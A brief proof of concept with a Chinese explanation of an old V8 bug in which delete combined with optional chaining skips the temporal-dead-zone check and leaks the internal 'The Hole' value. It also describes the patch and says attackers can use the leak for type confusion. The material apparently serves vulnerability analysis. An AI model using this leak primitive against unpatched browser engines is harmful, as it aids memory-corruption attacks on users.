function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
变量 y 在声明之前被访问。正常情况下这会触发 ReferenceError(暂存死区,TDZ),但在旧版 V8 中,当与 delete x?.[y] 结合使用时,检查失败并返回内部哨兵值 "The Hole"。
V8 仅检查了一次 TDZ,然后错误地假设 y 是有效的。这使得 "The Hole" 逃逸到用户代码中。
该补丁在每次访问时强制进行新的 TDZ 检查(ThrowReferenceErrorIfHole),确保在初始化之前访问 y 总是会抛出错误。
影响:攻击者可以捕获 "The Hole" 并滥用它进行类型混淆、栈操作或作用域绕过。